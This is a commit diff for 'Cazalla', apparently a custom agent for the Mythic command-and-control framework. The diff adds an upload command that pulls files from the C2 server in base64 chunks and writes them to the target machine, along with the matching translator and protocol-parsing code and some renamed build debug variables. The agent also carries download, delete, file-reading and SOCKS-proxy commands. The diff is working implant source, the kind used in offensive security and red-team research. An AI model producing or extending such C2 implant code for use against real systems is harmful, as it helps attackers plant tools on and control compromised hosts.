file upload completed

This commit is contained in:
marcos.luna
2025-10-30 11:18:49 +01:00
parent 8f7107fe1d
commit 6a009fecc1
12 changed files with 760 additions and 42 deletions
@@ -1201,4 +1201,271 @@ VOID DescargarFichero(PAnalizador argumentos) {
end:
LocalFree(rutaFichero);
}
// Helper structure to store upload response data
typedef struct {
BOOL success;
UINT32 total_chunks;
UINT32 chunk_num;
PCHAR chunk_data_b64; // Base64 encoded chunk data
SIZE_T chunk_data_len;
} UploadResponseData;
// Helper function to extract upload response data from Mythic response
// Format: Binary response with upload response marker 0xF9 followed by [total_chunks:4][chunk_num:4][chunk_data_len:4][chunk_data_base64]
static BOOL extractUploadResponse(PAnalizador respuesta, UploadResponseData* out) {
if (!respuesta || !out || respuesta->tamano < 13) {
return FALSE;
}
// Look for upload response marker 0xF9
PBYTE buffer = respuesta->buffer;
SIZE_T len = respuesta->tamano;
for (SIZE_T i = 0; i < len - 13; i++) { // At least: marker(1) + total_chunks(4) + chunk_num(4) + data_len(4)
if (buffer[i] == 0xF9) {
// Found marker, extract data
i++; // Skip marker
// Extract total_chunks
if (i + 4 > len) break;
out->total_chunks = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
i += 4;
// Extract chunk_num
if (i + 4 > len) break;
out->chunk_num = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
i += 4;
// Extract chunk_data length
if (i + 4 > len) break;
UINT32 chunk_data_len = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
i += 4;
if (chunk_data_len == 0 || chunk_data_len > 1024 * 1024 || i + chunk_data_len > len) {
break;
}
// Extract chunk_data (base64 string)
out->chunk_data_b64 = (PCHAR)LocalAlloc(LPTR, chunk_data_len + 1);
if (!out->chunk_data_b64) {
return FALSE;
}
memcpy(out->chunk_data_b64, buffer + i, chunk_data_len);
out->chunk_data_b64[chunk_data_len] = '\0';
out->chunk_data_len = chunk_data_len;
out->success = TRUE;
return TRUE;
}
}
return FALSE;
}
VOID SubirFichero(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
_dbg("[upload] tenemos %d argumentos", nbArg);
if (nbArg < 2) {
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: Se requiere file_id y path\n");
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
return;
}
// Parse arguments: file_id and path
SIZE_T tamano = 0;
PCHAR file_id = getString(argumentos, &tamano);
SIZE_T tamano2 = 0;
PCHAR rutaDestino = getString(argumentos, &tamano2);
_dbg("[upload] File ID: \"%s\", Ruta destino: \"%s\"", file_id, rutaDestino);
// Normalizar path y verificar que no termine en backslash
char fullPath[2048] = {0};
if (GetFullPathNameA(rutaDestino, sizeof(fullPath), fullPath, NULL) == 0) {
strncpy(fullPath, rutaDestino, sizeof(fullPath) - 1);
fullPath[sizeof(fullPath) - 1] = '\0';
}
// Verificar si el path es un directorio (termina en \ o es un directorio existente)
SIZE_T pathLen = strlen(fullPath);
if (pathLen > 0 && (fullPath[pathLen - 1] == '\\' || fullPath[pathLen - 1] == '/')) {
// Path termina en backslash, es un directorio sin nombre de archivo
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: El path es un directorio. Especifique un nombre de archivo: %s\n", fullPath);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
goto end;
}
// Verificar si el path existe y es un directorio
DWORD fileAttrib = GetFileAttributesA(fullPath);
if (fileAttrib != INVALID_FILE_ATTRIBUTES && (fileAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
// El path existe y es un directorio
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: El path es un directorio existente. Especifique un nombre de archivo: %s\n", fullPath);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
goto end;
}
// Crear archivo de destino
HANDLE hFile = CreateFileA(
fullPath,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
DWORD error = GetLastError();
_err("[upload] No se pudo crear el archivo. Código: %lu\n", error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: No se pudo crear el archivo. Código: %lu\n", error);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
goto end;
}
const DWORD CHUNK_SIZE = 512 * 1024; // 512KB chunks
UINT32 totalChunks = 0;
UINT32 currentChunk = 1;
DWORD totalBytesWritten = 0;
// Solicitar chunks uno por uno
while (TRUE) {
_dbg("[upload] Solicitando chunk %lu", currentChunk);
// Crear paquete para solicitar chunk
PPaquete requestPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
addString(requestPaquete, tareaUuid, FALSE);
// Agregar output vacío para chunks de upload
addInt32(requestPaquete, 0);
// Agregar upload request
addUploadRequest(requestPaquete, file_id, CHUNK_SIZE, currentChunk, fullPath);
// Enviar solicitud y recibir respuesta
PAnalizador respuesta = mandarPaquete(requestPaquete);
liberarPaquete(requestPaquete);
if (!respuesta) {
_err("[upload] Error: No se recibió respuesta para chunk %lu\n", currentChunk);
break;
}
// Parsear respuesta de upload
UploadResponseData uploadResp = {0};
if (!extractUploadResponse(respuesta, &uploadResp)) {
_err("[upload] Error: No se pudo parsear respuesta de upload para chunk %lu\n", currentChunk);
liberarAnalizador(respuesta);
break;
}
// Primera respuesta: obtener total_chunks
if (totalChunks == 0) {
totalChunks = uploadResp.total_chunks;
_dbg("[upload] Total chunks: %lu", totalChunks);
PPaquete infoRespuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(infoRespuesta, tareaUuid, FALSE);
PPaquete salidaInfo = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaInfo, FALSE, "[upload] Iniciando upload: %s (%lu chunks)\n",
fullPath, totalChunks);
addBytes(infoRespuesta, (PBYTE)salidaInfo->buffer, salidaInfo->length, TRUE);
mandarPaquete(infoRespuesta);
liberarPaquete(salidaInfo);
liberarPaquete(infoRespuesta);
}
// Decodificar chunk_data de base64
PBYTE decodedData = NULL;
SIZE_T decodedLen = 0;
if (uploadResp.chunk_data_b64 && uploadResp.chunk_data_len > 0) {
if (!base64_decode(uploadResp.chunk_data_b64, &decodedData, &decodedLen)) {
_err("[upload] Error decodificando base64 para chunk %lu\n", currentChunk);
LocalFree(uploadResp.chunk_data_b64);
liberarAnalizador(respuesta);
break;
}
// Escribir chunk al archivo
DWORD bytesWritten = 0;
if (!WriteFile(hFile, decodedData, (DWORD)decodedLen, &bytesWritten, NULL)) {
DWORD error = GetLastError();
_err("[upload] Error escribiendo chunk %lu. Código: %lu\n", currentChunk, error);
LocalFree(decodedData);
LocalFree(uploadResp.chunk_data_b64);
liberarAnalizador(respuesta);
break;
}
totalBytesWritten += bytesWritten;
_dbg("[upload] Chunk %lu/%lu escrito: %lu bytes (total: %lu bytes)",
currentChunk, totalChunks, bytesWritten, totalBytesWritten);
LocalFree(decodedData);
}
LocalFree(uploadResp.chunk_data_b64);
liberarAnalizador(respuesta);
// Verificar si hemos recibido todos los chunks
if (currentChunk >= totalChunks) {
_dbg("[upload] Todos los chunks recibidos");
break;
}
currentChunk++;
}
CloseHandle(hFile);
// Enviar mensaje final con artifact
PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaFinal, tareaUuid, FALSE);
PPaquete salidaFinal = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaFinal, FALSE, "[upload] Upload completado: %s (%lu bytes)\n",
fullPath, totalBytesWritten);
addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
// Agregar artifact File Write (indica que se escribió un archivo)
addArtifact(respuestaFinal, "File Write", fullPath);
mandarPaquete(respuestaFinal);
liberarPaquete(salidaFinal);
liberarPaquete(respuestaFinal);
end:
return;
}
@@ -21,4 +21,6 @@ VOID LeerFichero(PAnalizador argumentos);
VOID DescargarFichero(PAnalizador argumentos);
VOID SubirFichero(PAnalizador argumentos);
#endif //FILESYSTEM_H
@@ -52,6 +52,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
LeerFichero(analizadorTarea);
} else if (tarea == DOWNLOAD_CMD) {
DescargarFichero(analizadorTarea);
} else if (tarea == UPLOAD_CMD) {
SubirFichero(analizadorTarea);
} else if (tarea == START_SOCKS_CMD) {
_dbg("Received START_SOCKS_CMD");
startSocksHandler(analizadorTarea);
@@ -30,6 +30,7 @@
#define RM_CMD 0x25
#define CAT_CMD 0x26
#define DOWNLOAD_CMD 0x27
#define UPLOAD_CMD 0x28
/* New SOCKS control commands (agent-side) */
#define START_SOCKS_CMD 0x60
@@ -711,4 +711,34 @@ VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE c
addString(paquete, chunk_data_b64, FALSE);
LocalFree(chunk_data_b64);
}
VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 chunk_num, PCHAR full_path) {
if (!paquete || !file_id) {
return;
}
// Upload request marker (0xF8)
addByte(paquete, 0xF8);
// File ID length and value
SIZE_T file_id_len = strlen(file_id);
addInt32(paquete, (UINT32)file_id_len);
addString(paquete, file_id, FALSE);
// Chunk size
addInt32(paquete, chunk_size);
// Chunk number (1-based)
addInt32(paquete, chunk_num);
// Full path length and value (optional, can be empty string)
if (!full_path) {
full_path = "";
}
SIZE_T path_len = strlen(full_path);
addInt32(paquete, (UINT32)path_len);
if (path_len > 0) {
addString(paquete, full_path, FALSE);
}
}
@@ -47,4 +47,8 @@ VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR c
VOID addDownloadRegistration(PPaquete paquete, PCHAR full_path, UINT32 total_chunks, UINT32 chunk_size);
VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE chunk_data, SIZE_T chunk_data_len);
/* Upload helpers: for file upload from Mythic to agent */
/* Format for upload request: [0xF8 marker][file_id_len:4][file_id][chunk_size:4][chunk_num:4][full_path_len:4][full_path] */
VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 chunk_num, PCHAR full_path);
#endif
@@ -75,61 +75,61 @@ class CazallaAgent(PayloadType):
# Track encryption configuration
crypto_type_value = None
aespsk_key_b64 = ""
debug_output = [] # Collect all debug messages for "Applying configuration" step
debug_messages = [] # Collect all debug messages for "Applying configuration" step
debug_output.append(f"=== DEBUG INFO ===")
debug_output.append(f"UUID: {self.uuid}")
debug_output.append(f"Number of C2 profiles: {len(self.c2info)}")
debug_messages.append(f"=== DEBUG INFO ===")
debug_messages.append(f"UUID: {self.uuid}")
debug_messages.append(f"Number of C2 profiles: {len(self.c2info)}")
for c2 in self.c2info:
profile = c2.get_c2profile()
debug_output.append(f"\n--- C2 Profile: {profile} ---")
debug_messages.append(f"\n--- C2 Profile: {profile} ---")
params_dict = c2.get_parameters_dict()
if not params_dict:
debug_output.append("WARNING: get_parameters_dict() returned None or empty!")
debug_messages.append("WARNING: get_parameters_dict() returned None or empty!")
continue
debug_output.append(f"Parameters dict keys: {list(params_dict.keys())}")
debug_output.append(f"Full params_dict: {params_dict}")
debug_messages.append(f"Parameters dict keys: {list(params_dict.keys())}")
debug_messages.append(f"Full params_dict: {params_dict}")
for key, val in params_dict.items():
debug_output.append(f"Processing parameter: {key} = {val} (type: {type(val).__name__})")
debug_messages.append(f"Processing parameter: {key} = {val} (type: {type(val).__name__})")
# Check if val is a dict that might contain enc_key
if isinstance(val, dict):
debug_output.append(f" -> Parameter {key} is a dict with keys: {list(val.keys())}")
debug_messages.append(f" -> Parameter {key} is a dict with keys: {list(val.keys())}")
# Handle AESPSK dict: contains 'value' (crypto_type), 'enc_key', and 'dec_key'
if key == "AESPSK" or key == "aespsk":
# Extract crypto_type from 'value' field
if 'value' in val:
crypto_type_value = val['value']
debug_output.append(f" -> Found crypto_type in AESPSK['value']: {crypto_type_value}")
debug_messages.append(f" -> Found crypto_type in AESPSK['value']: {crypto_type_value}")
# Extract enc_key
if 'enc_key' in val:
if val["enc_key"] is not None and val["enc_key"] != "":
aespsk_key_b64 = val["enc_key"]
try:
decoded_len = len(base64.b64decode(val['enc_key']))
debug_output.append(f" -> Found enc_key in AESPSK: {val['enc_key'][:50]}... (decoded length: {decoded_len})")
debug_messages.append(f" -> Found enc_key in AESPSK: {val['enc_key'][:50]}... (decoded length: {decoded_len})")
except Exception as e:
debug_output.append(f" -> ERROR decoding enc_key: {e}")
debug_messages.append(f" -> ERROR decoding enc_key: {e}")
else:
debug_output.append(f" -> enc_key in AESPSK is None or empty")
debug_messages.append(f" -> enc_key in AESPSK is None or empty")
# Handle other dict parameters that might contain enc_key
elif 'enc_key' in val:
debug_output.append(f" -> Found enc_key in dict: {val['enc_key'][:50] if val['enc_key'] else 'None'}...")
debug_messages.append(f" -> Found enc_key in dict: {val['enc_key'][:50] if val['enc_key'] else 'None'}...")
if val["enc_key"] is not None and val["enc_key"] != "":
aespsk_key_b64 = val["enc_key"]
try:
decoded_len = len(base64.b64decode(val['enc_key']))
debug_output.append(f" -> enc_key decoded length: {decoded_len}")
debug_messages.append(f" -> enc_key decoded length: {decoded_len}")
except Exception as e:
debug_output.append(f" -> ERROR decoding enc_key: {e}")
debug_messages.append(f" -> ERROR decoding enc_key: {e}")
else:
aespsk_key_b64 = ""
debug_output.append(f" -> enc_key is None or empty")
debug_messages.append(f" -> enc_key is None or empty")
else:
Config[key] = val
else:
@@ -137,41 +137,41 @@ class CazallaAgent(PayloadType):
# Log the crypto_type value and store it (in case it comes as a direct parameter)
if key == "crypto_type":
crypto_type_value = val
debug_output.append(f" -> crypto_type set to: {val}")
debug_messages.append(f" -> crypto_type set to: {val}")
# Also check if the key itself is 'enc_key'
if key == "enc_key" and val and not isinstance(val, dict):
aespsk_key_b64 = str(val)
debug_output.append(f" -> Found enc_key as direct parameter: {aespsk_key_b64[:50]}...")
debug_messages.append(f" -> Found enc_key as direct parameter: {aespsk_key_b64[:50]}...")
break
# Determine encryption based on crypto_type and enc_key
debug_output.append(f"\n=== ENCRYPTION DECISION ===")
debug_output.append(f"crypto_type_value = {crypto_type_value} (type: {type(crypto_type_value).__name__ if crypto_type_value else 'None'})")
debug_output.append(f"aespsk_key_b64 length = {len(aespsk_key_b64) if aespsk_key_b64 else 0}")
debug_output.append(f"crypto_type_value == 'aes256_hmac'? {crypto_type_value == 'aes256_hmac'}")
debug_output.append(f"aespsk_key_b64 is truthy? {bool(aespsk_key_b64)}")
debug_messages.append(f"\n=== ENCRYPTION DECISION ===")
debug_messages.append(f"crypto_type_value = {crypto_type_value} (type: {type(crypto_type_value).__name__ if crypto_type_value else 'None'})")
debug_messages.append(f"aespsk_key_b64 length = {len(aespsk_key_b64) if aespsk_key_b64 else 0}")
debug_messages.append(f"crypto_type_value == 'aes256_hmac'? {crypto_type_value == 'aes256_hmac'}")
debug_messages.append(f"aespsk_key_b64 is truthy? {bool(aespsk_key_b64)}")
encryption_enabled = False
if crypto_type_value == "aes256_hmac" and aespsk_key_b64:
encryption_enabled = True
debug_output.append(f"✓ Encryption ENABLED: crypto_type={crypto_type_value}, enc_key present")
debug_messages.append(f"✓ Encryption ENABLED: crypto_type={crypto_type_value}, enc_key present")
else:
debug_output.append(f"✗ Encryption DISABLED: crypto_type={crypto_type_value or 'none'}, enc_key={'present' if aespsk_key_b64 else 'missing'}")
debug_messages.append(f"✗ Encryption DISABLED: crypto_type={crypto_type_value or 'none'}, enc_key={'present' if aespsk_key_b64 else 'missing'}")
# Set encryption configuration
if encryption_enabled and aespsk_key_b64:
Config["ENCRYPTION_ENABLED"] = "1" # Use 1/0 instead of TRUE/FALSE for direct numeric use
Config["AESPSK_KEY"] = aespsk_key_b64
debug_output.append(f"\nSet Config[ENCRYPTION_ENABLED] = '1'")
debug_output.append(f"Set Config[AESPSK_KEY] = '{Config['AESPSK_KEY'][:20]}...' (length: {len(Config['AESPSK_KEY'])})")
debug_output.append(f"Agent-side encryption ENABLED with AES256-HMAC")
debug_messages.append(f"\nSet Config[ENCRYPTION_ENABLED] = '1'")
debug_messages.append(f"Set Config[AESPSK_KEY] = '{Config['AESPSK_KEY'][:20]}...' (length: {len(Config['AESPSK_KEY'])})")
debug_messages.append(f"Agent-side encryption ENABLED with AES256-HMAC")
else:
Config["ENCRYPTION_ENABLED"] = "0" # Use 1/0 instead of TRUE/FALSE for direct numeric use
Config["AESPSK_KEY"] = ""
debug_output.append(f"\nSet Config[ENCRYPTION_ENABLED] = '0'")
debug_output.append(f"Set Config[AESPSK_KEY] = '' (empty)")
debug_output.append(f"Agent-side encryption disabled")
debug_messages.append(f"\nSet Config[ENCRYPTION_ENABLED] = '0'")
debug_messages.append(f"Set Config[AESPSK_KEY] = '' (empty)")
debug_messages.append(f"Agent-side encryption disabled")
if "https://" in Config["callback_host"]:
Config["ssl"] = True
@@ -196,9 +196,9 @@ class CazallaAgent(PayloadType):
config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h"
# Replace placeholders in Config.h
debug_output.append(f"\n=== CONFIG.H REPLACEMENT ===")
debug_output.append(f"Before replacement - ENCRYPTION_ENABLED='{Config.get('ENCRYPTION_ENABLED', 'NOT SET')}'")
debug_output.append(f"Before replacement - AESPSK_KEY='{Config.get('AESPSK_KEY', 'NOT SET')[:20] if Config.get('AESPSK_KEY') else 'NOT SET'}...'")
debug_messages.append(f"\n=== CONFIG.H REPLACEMENT ===")
debug_messages.append(f"Before replacement - ENCRYPTION_ENABLED='{Config.get('ENCRYPTION_ENABLED', 'NOT SET')}'")
debug_messages.append(f"Before replacement - AESPSK_KEY='{Config.get('AESPSK_KEY', 'NOT SET')[:20] if Config.get('AESPSK_KEY') else 'NOT SET'}...'")
with open(config_path, "r+") as f:
content = f.read()
@@ -215,8 +215,8 @@ class CazallaAgent(PayloadType):
# Replace encryption settings
encryption_value = Config.get("ENCRYPTION_ENABLED", "0")
aespsk_value = Config.get("AESPSK_KEY", "")
debug_output.append(f"Replacing %ENCRYPTION_ENABLED% with '{encryption_value}'")
debug_output.append(f"Replacing %AESPSK_KEY% with '{aespsk_value[:30] if aespsk_value else ''}...' (length: {len(aespsk_value)})")
debug_messages.append(f"Replacing %ENCRYPTION_ENABLED% with '{encryption_value}'")
debug_messages.append(f"Replacing %AESPSK_KEY% with '{aespsk_value[:30] if aespsk_value else ''}...' (length: {len(aespsk_value)})")
content = content.replace("%ENCRYPTION_ENABLED%", encryption_value)
content = content.replace("%AESPSK_KEY%", aespsk_value)
@@ -231,15 +231,15 @@ class CazallaAgent(PayloadType):
import re
match = re.search(r'#define ENCRYPTION_ENABLED\s+(\S+)', content_after)
if match:
debug_output.append(f"\n✓ Verified: Config.h has ENCRYPTION_ENABLED = {match.group(1)}")
debug_messages.append(f"\n✓ Verified: Config.h has ENCRYPTION_ENABLED = {match.group(1)}")
match = re.search(r'#define AESPSK_KEY\s+"([^"]*)"', content_after)
if match:
key_val = match.group(1)
debug_output.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}")
debug_messages.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}")
# Send all debug info as part of "Applying configuration" step
final_output = f"All configuration setting applied (output={output_format}, debug_level={debug_level}, debug_output={debug_output})\n\n"
final_output += "\n".join(debug_output)
final_output += "\n".join(debug_messages)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
@@ -0,0 +1,101 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import os
class UploadArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="file",
type=ParameterType.File,
description="File to upload to the target",
),
CommandParameter(
name="path",
type=ParameterType.String,
description="Path where the file should be saved on the target",
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Must supply a file and path")
parts = self.command_line.split(" ", 1)
if len(parts) != 2:
raise ValueError("Must supply both file and path: upload <file_id> <path>")
self.add_arg("file", parts[0])
# Normalize path in parse_arguments too
path = parts[1]
if path:
# Replace all sequences of double backslashes with single backslash
while "\\\\" in path:
path = path.replace("\\\\", "\\")
self.add_arg("path", path)
async def parse_dictionary(self, dictionary_arguments):
if "file" in dictionary_arguments:
self.add_arg("file", dictionary_arguments["file"])
if "path" in dictionary_arguments:
# Normalize path: replace double backslashes with single backslash
path = dictionary_arguments["path"]
if path:
# Replace all sequences of double backslashes with single backslash
while "\\\\" in path:
path = path.replace("\\\\", "\\")
self.add_arg("path", path)
class UploadCommand(CommandBase):
cmd = "upload"
needs_admin = False
help_cmd = "upload <file> <path>"
description = "Upload a file from the Mythic server to the target"
version = 1
author = "@KaseyaOFSTeam"
argument_class = UploadArguments
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
file_id = taskData.args.get_arg("file")
path = taskData.args.get_arg("path")
# Get file information to extract filename
try:
file_search = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
AgentFileId=file_id,
LimitByCallback=False,
TaskID=taskData.Task.ID
))
if file_search.Success and len(file_search.Files) > 0:
file_info = file_search.Files[0]
filename = file_info.Filename
# If path is empty, use current directory + filename
if not path or path.strip() == "":
path = ".\\" + filename
# If path ends with backslash or forward slash, append filename
elif path.endswith("\\") or path.endswith("/"):
path = path.rstrip("\\/") + "\\" + filename
response.DisplayParams = f"file_id: {file_id}, path: {path}, filename: {filename}"
# Update the path argument with the final path (including filename if needed)
taskData.args.add_arg("path", path)
else:
response.DisplayParams = f"file_id: {file_id}, path: {path}"
except Exception as e:
response.DisplayParams = f"file_id: {file_id}, path: {path} (warning: could not get filename: {str(e)})"
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -16,6 +16,7 @@ commands = {
"rm": {"hex_code": 0x25, "input_type": "string"},
"cat": {"hex_code": 0x26, "input_type": "string"},
"download": {"hex_code": 0x27, "input_type": "string"},
"upload": {"hex_code": 0x28, "input_type": "string"},
# Added SOCKS control commands
"start_socks": {"hex_code": 0x60, "input_type": "int"},
"stop_socks": {"hex_code": 0x61, "input_type": None},
@@ -53,6 +54,14 @@ def responseTasking(tasks):
data = command_code + task_id
if task["parameters"] != "":
parameters = json.loads(task["parameters"])
# Normalize paths for upload command - replace double backslashes
if command_to_run == "upload" and "path" in parameters:
path = parameters["path"]
if path:
# Replace all sequences of double backslashes with single backslash
while "\\\\" in path:
path = path.replace("\\\\", "\\")
parameters["path"] = path
data += len(parameters).to_bytes(4,"big")
for param in parameters:
data += len(parameters[param]).to_bytes(4, "big")
@@ -133,5 +142,20 @@ def responsePosting(responses):
data += len(file_id_bytes).to_bytes(4, "big")
data += file_id_bytes
print(f"[DOWNLOAD] File ID agregado a respuesta binaria: {file_id}")
# Check if this response is for an upload request
# When Mythic responds to an upload request, it includes upload data directly in response
# Format from Mythic: {"chunk_data": "...", "chunk_num": 1, "total_chunks": 1, "file_id": "...", ...}
if "chunk_data" in response and "chunk_num" in response:
# Format: [0xF9 marker][total_chunks:4][chunk_num:4][chunk_data_len:4][chunk_data_base64]
data += bytes([0xF9]) # Upload response marker
data += response.get("total_chunks", 0).to_bytes(4, "big")
data += response.get("chunk_num", 0).to_bytes(4, "big")
chunk_data_b64 = response.get("chunk_data", "")
chunk_data_bytes = chunk_data_b64.encode('utf-8')
data += len(chunk_data_bytes).to_bytes(4, "big")
data += chunk_data_bytes
print(f"[UPLOAD] Upload response agregado: total_chunks={response.get('total_chunks', 0)}, chunk_num={response.get('chunk_num', 0)}, data_len={len(chunk_data_bytes)}")
return data
@@ -189,6 +189,7 @@ def postResponse(data):
credentials_data = []
download_registration = None
download_chunk = None
upload_request = None
remaining_data = data
while len(remaining_data) >= 5: # At least: marker (1) + type_len (4)
@@ -419,6 +420,64 @@ def postResponse(data):
remaining_data = remaining_data[offset:]
except:
break
elif remaining_data[0] == 0xF8:
# Upload request marker found
# Format: [0xF8][file_id_len:4][file_id][chunk_size:4][chunk_num:4][full_path_len:4][full_path]
offset = 1
# Extract file_id
if len(remaining_data) < offset + 4:
break
file_id_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if file_id_len == 0 or len(remaining_data) < offset + file_id_len:
break
try:
file_id = remaining_data[offset:offset+file_id_len].decode('cp850')
offset += file_id_len
except:
break
# Extract chunk_size
if len(remaining_data) < offset + 4:
break
chunk_size = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
# Extract chunk_num
if len(remaining_data) < offset + 4:
break
chunk_num = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
# Extract full_path
if len(remaining_data) < offset + 4:
break
path_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
full_path = ""
if path_len > 0:
if len(remaining_data) < offset + path_len:
break
try:
full_path = remaining_data[offset:offset+path_len].decode('cp850')
offset += path_len
except:
break
# Store upload request info (will be used to construct Mythic JSON)
upload_request = {
"file_id": file_id,
"chunk_size": chunk_size,
"chunk_num": chunk_num,
"full_path": full_path
}
print(f"[UPLOAD] Request detectado: file_id={file_id}, chunk_num={chunk_num}, chunk_size={chunk_size}, path={full_path}")
remaining_data = remaining_data[offset:]
else:
# No more markers
break
@@ -528,6 +587,21 @@ def postResponse(data):
"chunk_data": download_chunk["chunk_data"]
}
print(f"[DOWNLOAD] Download chunk agregado al JSON: chunk_num={download_chunk['chunk_num']}, file_id={download_chunk['file_id']}, data_len={len(download_chunk['chunk_data'])}")
# Add upload request information if present
if upload_request:
# For upload requests, we ONLY send the upload info, no user_output
# Remove user_output if it was added
if "user_output" in jsonTask:
jsonTask.pop("user_output", None)
jsonTask["upload"] = {
"file_id": upload_request["file_id"],
"chunk_size": upload_request["chunk_size"],
"chunk_num": upload_request["chunk_num"],
"full_path": upload_request["full_path"]
}
print(f"[UPLOAD] Upload request agregado al JSON: file_id={upload_request['file_id']}, chunk_num={upload_request['chunk_num']}, chunk_size={upload_request['chunk_size']}")
resTaks.append(jsonTask)